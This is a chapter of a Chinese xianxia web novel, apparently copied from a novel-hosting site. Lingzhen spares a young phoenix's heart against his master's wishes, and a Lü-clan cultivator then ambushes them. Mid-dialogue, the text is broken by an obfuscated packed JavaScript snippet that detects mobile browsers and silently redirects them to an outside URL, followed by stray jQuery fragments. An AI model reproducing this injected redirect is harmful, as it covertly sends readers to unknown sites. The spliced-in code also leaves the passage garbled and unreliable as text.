陵稹盯着小凤凰看了半晌,它被他看得有些惶恐,不由后退了两步 :“哥哥,怎么了吗?”
陵稹这才恍然回神,眼前的是小凤凰,不是它体内那怪物。他眸中敌意褪去,面色稍霁:“你救了人,做得很好。”
小凤凰得了夸赞,神情霎时由阴转晴,甚至带上了几分得意:“那当然。”
陵稹问它:“胸口还痛吗?”
胸口?小凤凰不明所以:“什么?”
陵稹眸光微动,它不知吕家发生的事?那替他挡下那箭矢的……难道真是那东西不成?
可祂为何那么做?那夜折辱尚可说是被天门约束多年,心有愤懑,向他发泄怨气,那挡下那支箭又是所图为何?
他实在疲累,遇上这难以琢磨的问题便觉头晕目眩,想不出个所以然。虽方才已从药材柜中翻出几朵干墨莲服下,暂缓灼热,可效果甚微,烧灼感仅被压制了半刻钟不到又卷土重来,将他的思绪捣得乱七八糟。
小凤凰一愣:“哥哥,你这儿……”它看着他的颈侧,那儿正闪烁着细小的蛇鳞,银光潋滟,很是夺目,它抬手想摸摸,却叫他避了过去:“我没事,手给我。”
小凤凰乖乖伸出翅膀,陵稹的灵力在它体内探了一圈。他施救及时,加之凤凰有着极强自愈力,那箭矢在它胸口扎出的窟窿此时已经差不多愈合了,但还剩一点细小裂口,需要人为修补。
除此之外,它身体上没有任何异样,他却半点放心不下。凤凰的心是凑齐天篆绡封印天门的关键,难保那东西不是冲着这个才藏在它的身体里的。
他不想拿走凤凰的心,却也不想这颗心和天篆绡被他人惦记……他忧心忡忡,觉得自己应该做些什么,可他如今思维混沌,做什么都慢上半拍,连腰间传讯玉简在亮都是小凤凰告诉他的。
他拿起玉简,是师父传讯,想来有话问他。
他轻推了小凤凰一把:“你先出去,门口等我。”
小凤凰颔首应好,段衍却抓心挠肝地想让它留下偷听,他认出那是云墟阁的传讯玉简,红光是掌门来讯,也即他两的师父。
他实在想知道他们会说什么,在他印象中,陵稹同师父、乃至除段衍以外的其他所有同门的关系都不算好,师门的许多大型庆典从来不见他现身,连掌门寿辰他都未曾来贺,作为师父唯二的亲传弟子,断不该如此的。
段衍为此还同他争执过,言他不该对师父如此不敬,他还记得那时陵稹连他的话都没听完就直接走了,事后更是许久没再搭理过他的传讯,直到他又一次碰到麻烦,陵稹来帮他,这单方面的冷战才算告终。
但他认为一开始肯定不是这样的。他虽不敢说熟悉陵稹的脾性,但也没人敢说比他更熟悉了,陵稹轻易不会厌恶谁,尤其是对初见之人,他通常是友善待之,发觉合不来才会陡然冷淡。
他实不知陵稹同师父的关系是何时交恶的,以至于最后竟发展到弑师灭门的境地。虽知道了也做不了什么,但他仍想弄明白缘由。
可小凤凰听话得叫他恼火,明明是满肚子坏水的家伙非要装乖巧,装着装着还真就沾沾自喜地当上“乖孩子”了,让它出去就出去。
一门之隔的室内。传讯玉简被激活后,玄准的虚影浮现在玉简上方,老者和蔼慈祥的目光掠过陵稹及他身周的屋内陈设,染上几分惊讶:“你怎会在凡间药坊,可是受了伤?那魔物心脏竟有这般难取,连你也不敌它?”
陵稹摇头:“师父,那魔物本性不坏,取它心脏是否……”
玄准打断他:“为师已同你说过,它的心脏至关重要,你不该如此优柔寡断。”
陵稹目光执着,他如何都不想杀那小凤凰,半是出于清浊二气相互亲近的本能,半是出于他对一个弱小者的袒护:“是至关重要,可也并非不可或缺。”
玄准叹气:“为师知你心软,但莫忘了你来人间的目的,有最快的办法何必走弯路。”
陵稹语气微沉:“实不相瞒,弟子昨夜去过吕家,吕家的天篆绡已然封印,二十年后才能解封。若师父能出面请吕家解封,取得那块残片,按碎片间的相互感应,我自能集齐剩下的。”
玄准面色微变:“是吕家人伤了你?”
陵稹说得模棱两可:“弟子尚不敌吕清。”他非为吕家人所伤,但这句也并非谎话,只是答非所问罢了,他不想对师父撒谎,但为令师父出面,他也不介意言语上用些花招。
玄准抬手捋了捋颌下长须,沉吟片刻,道:“吕家同我云墟阁交好,你原也不该私自去寻他们麻烦的。”
陵稹心沉入谷底,此话一出,他知师父是不会出面了。
玄准继续道:“既然已经封印,那这块碎片便留到最后吧,先寻剩下的。你且回来养伤,顺带将这魔物心脏带回,为师会用其为你指明其他碎片位置。”
陵稹蹙眉:“可……”
玄准再次出声打断他:“待收集完其余残片,为师便会出面请吕家解封,集齐最后一块。”他垂眸看向陵稹:“二十年,你等不起,为师也等不起。莫再拖延了。”
陵稹想好的所有辩驳之辞被他这句话堵在喉口,直到玄准身形消失,通讯结束,他也没再出声。
小凤凰在门外等得有些急了,犹豫再三,终是忍不住敲了敲门:“哥哥?我现在可以进去了吗?”
里头隔了很久才传来声音:“进来吧。”
小凤凰推门而入,哥哥背倚药柜席地而坐,听它进来也不抬头看它,而是一直垂眸看着自己的手,它瞧不见他的目光,只看得见他那又黑又长的睫毛在微微发颤。
它不禁有些担忧:“哥哥,你还是不舒服吗?”
他终于抬眼看它,盯着它看了很久,才朝它招手:“过来。”
小凤凰乐颠颠地走上前,它喜欢和哥哥靠得近近的。
哥哥抬手,轻轻贴上它覆着细腻羽毛的胸口,他的手骨节分明,手指又细又长,五指展开时能覆盖它的整个左前胸。
“哥哥,”小凤凰咯咯笑:“你这样弄得我好痒。”
段衍透过小凤凰的眼看见陵稹的手缓缓收成爪形,指尖正逐一聚起灵力。小凤凰什么都不明白,他却瞧得分明——这是要直接探入他的胸腔。
要做什么呢?挖走他的心?
他定定望着眼前人,虽陵稹的手还未探进胸腔,他却已开始觉得心痛。他很想掐着他的脸逼他抬头,看看他此时是何神情,质问他为何要这般对他,对这一片赤诚的小凤凰。
他一面觉得悲愤,一面又心存了些侥幸,或许是自己想多了呢,他可能只是觉得凤凰胸前的羽毛鲜亮漂亮。
可胸口还是传来了尖锐细密的刺痛。小凤凰不解低头,段衍于是看见那只带着灵力的手缓缓没入他的胸口,穿透他前胸的皮肤,血肉,肋骨,最终触上了那团正欢快悦动着的心脏。
段衍瞬间觉得这炽热的凤凰之心都变得拔凉拔凉的,他真是冲着他的心来的。
小凤凰脸上傻乎乎的笑一点点褪去:“哥哥?”
“别动。”陵稹的声音放得很轻,他鲜少有这么温柔的语气,“可能会有点痛。”
“哥哥!”小凤凰有些害怕,声音都在发颤:“你……要做什么?”
陵稹没有回答它,也看不见小凤凰的皮囊下另一对悲伤失望的眼睛,他往那颗心脏中输入了更多灵力。
小凤凰惊恐地发觉胸腔里的心脏变得凉凉的,而后是酥酥麻麻。又一次尖锐刺痛后,那只探入他胸腔的手拿了出来。
“好了。”陵稹轻轻捋了捋它胸口绒羽:“我已修复好你心脏上的裂口,这几日不要剧烈运动。”
段衍和小凤凰俱是一愣,小凤凰忍不住抬头看他。
哥哥的目光依旧不在它身上,他垂着眼,冷汗打湿他的眼睫后又顺着面颊滑落,经过覆着细鳞的颈侧,最终没入衣领之下。他看上去比刚才还要疲态尽显。
“哥哥?”小凤凰正要说些什么,陵稹抬手止了它的话头:“回家吧。”
他究竟还是没能做到这件师父屡次强调,又易如反掌的事。他心头漫上一事无成的罪恶感,可若真的下手,必然又有另一重罪恶感束缚他一生……他再度觉得无力,叫他做的选择似乎总是这么难。
回家!小凤凰眼前一亮,当即把什么乱七八糟的疑惑都抛至脑后,它太喜欢“家”这个字了。“太好了!”它欣喜道:“芽宝在家肯定等急了。”
“芽宝?”
“对啊。”小凤凰得意道:“我给那小树芽起的名字。”
陵稹不禁笑了笑:“那你自己的名字呢?想好了吗?”
小凤凰都差点忘了这回事了,它歪头想了想,忽然扑到人身上:“哥哥你给我取个名字好不好?”
它自己想出来的名都不满意,觉得没有分量,但如果是哥哥给取的名字就不一样了,无论是什么它都肯定很喜欢。
陵稹想将身上这团令他有些窒息的热源推开,但架不住它实在热情,一个劲往他怀里钻,只好作罢,任它搂着,“名字是要陪伴你一生的,你得自己想。”
小凤凰热情洋溢:“哥哥也会陪伴我一生的对不对?那你给我取名同我自己取有何分别。”
陵稹微怔,陪伴它一生?他知道自己绝对做不到,凤凰寿数太长,而他使命太重。他因此不想给它取名,名是生灵入世的凭依,取名便是同它结下不解因果,他不想再同谁产生那般深的纠葛,一个阿陆就够叫他难以释怀的了。
小凤凰见他沉默,抬起埋在他衣襟中的脸,巴巴望着他:“哥哥,别人都有名字,我也想要,你给我取一个好不好?”
陵稹揉揉它头顶羽毛:“我不识字。取不了名。”
小凤凰:“……”
段衍:……骗谁呢你!
“真的吗?”小凤凰狐疑看着他,连它都认识不少字呢。
陵稹面不改色:“真的。你不信我?”
“好吧。”小凤凰有些失望:“那我只能自己想了。”
陵稹问他:“还记得怎么回去吗?”
小凤凰眨了眨眼睛,忍不住质疑他:“哥哥,你不识字就算了,也不认路的吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952554|176332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
陵稹冲他虚弱笑笑:“我站不起来,得你带我回去。”他这话倒没骗人,给它修复心脏耗的灵力有些多,刚聚起来的一点力气尽数用光,人形怕是维持不了多久了。
果然,话音刚落,他便被迫变回了蛇身,慢吞吞游进小凤凰掉落在药柜旁的小布兜里。“走前去药柜里替我取些药材,左数第三列最上方的柜子,外头写着……里面装着黑色莲花瓣。”
“噢。”小凤凰飞上柜子最上头,找到那个打开一半的抽屉,从里头翻出几朵干花,花瓣上有和哥哥类似的味道。
它将药柜抽屉里的所有花瓣都掏空了,口袋装得鼓鼓囊囊,然后带着满兜药材和再次陷入昏迷的哥哥离开药铺,刚出门,它想了想,又折回来,从身上取了一根最丑的羽毛,搁在柜台上。
它知道人买东西是要付钱的,它没有钱,只有一身漂亮的羽毛,这是它除了哥哥和芽宝之外最喜欢最珍贵的东西,但它又舍不得把最好看的羽毛给出去,希望这根丑丑的就够用了。
一个时辰后,吕殷从郎中手中夺过凤凰羽,紧皱的眉头终于舒展。昨日大哥没瞧错,助妖修逃走的果然是这只叫他们寻得焦头烂额的凤凰。原以为是再寻不到了,不想竟是得来全不费工夫。
他冷哼一声,那妖修实力确实不错,居然能在他们八人的围困下逃出生天,但运气这种东西,可不是回回都有的,真刀实枪地打,那妖修远非他对手。这回他亲自出马,凤凰心定是他吕殷囊中之物。
他往凤凰羽上灌注了一丝灵力,它在空中剧烈抖了几下,忽快速朝西南方向飞去。
吕殷大笑:“寻到他们了,随我来。”
--
小凤凰托着下巴,惆怅地看着水缸里飘着的干花和沉入水底的银蛇。
它回来后按哥哥指示将那些黑漆漆的花瓣浸泡在水里,随后把哥哥也放了进去,据他说这样可以疗伤,但已经过去好久了,它给芽宝浇了水,除了草,再回来看,哥哥还是这副死气沉沉,一动不动的模样。
段衍对此倒是不觉意外,昔日在幽冥时,陵稹每次都要在圣池里泡很久,少则几个时辰,多则几日,当然,那是为了修炼或者疗伤,至于眼下这算个什么情形,段衍也说不清,既不算受伤,也不算修炼……兴许是这样会令他觉得舒服些吧。
不过这里的墨莲都是枯干的花瓣,水更是凡间溪水,远远比不上那郁郁葱葱开满墨莲的圣池,他不知陵稹为何不回幽冥也不回云墟阁,这两处如何都应比此地更适合他……不过不回去也无妨,如今虽身处人间,却也有个地方盛产墨莲——极北之境。
那地儿比迷渊谷还北,灵气极其充裕,效果应是不亚于圣池。以凤凰的速度,从此处飞去极北,一个时辰绰绰有余。他决定到了子时,能操控身体时便即刻动身,一刻也不耽搁。
但此时太阳还未下山,离子时还有漫长的三个多时辰,正当他觉得百无聊赖之际,一股极其强大可怖的气息遽然袭来,紧接着便是拔地而起的四方结界,将整个小小村落笼罩其中。
“竟是藏在这种荒蛮之地,真叫人好找。”一华服修士徐徐落地,身后跟着几位随从,一行人掀起的气浪将结界内的建筑、树木等高于地面的事物尽数化作齑粉,修士勾起不屑微笑,捏碎掌心凤凰羽,“本座倒要看看,这四四方方都圈起来,你们还能逃去何处。”
段衍对这人面孔有点印象,是吕家那八位封印天篆绡的修士之一,实力很强。可此时离子时还有一个多时辰,他无法行动;陵稹也还昏昏沉沉睡在水缸里,对外界无甚反应;唯一能对敌的居然只有小凤凰。
小凤凰展开巨大的黑凤凰形体,盯着那群陌生人,它心里其实是害怕的,为首这个人比之前所有来杀它的人加起来都厉害,它本能地生出逃跑的冲动,刚往后挪了半步,余光看见角落里的水缸,它又立刻停了下步子。
它绝不会丢下哥哥逃跑的。
它朝来人尖啸出声:“滚开!”
吕殷嗤笑出声,俨然并不把小凤凰放在眼里,竟是旁若无人地跟身后说笑道:“听见没,这蠢鸟还会学人说话。”
“都言鹦鹉会学舌,属下还是头回知,原来凤凰也有此癖好。”
“哼,”吕殷不以为意:“凤凰?再如何响亮的名号,也不过是飞禽走兽之类,生来低人一等,自然巴巴地想学人,学人谈吐,学人着衣,学人容貌……”他说着说着忽笑道:“说起容貌,昨夜那妖修逃得仓促,本座都没瞧清他的模样,你说他能比本座府上最优质的炉鼎还出色得多,是真是假?”
他身后那随从谄媚一笑:“属下知三爷好美人,自然时时为您关注着,哪会错看?”
“好好好,本座看他灵力也是菁纯至极,又是极阴属性,恰与本座互补,许还真是个顶好的炉鼎料子。”吕殷哈哈大笑,扬声道:“阁下可听见了?何不快快现身?本座惜才爱貌,你若真如这小子所言赛过我家炉鼎,本座今日便饶你一命,给你一个归顺本座的机会。”
段衍心中霎时漫上蓬勃杀意,这个人,他一定要弄死。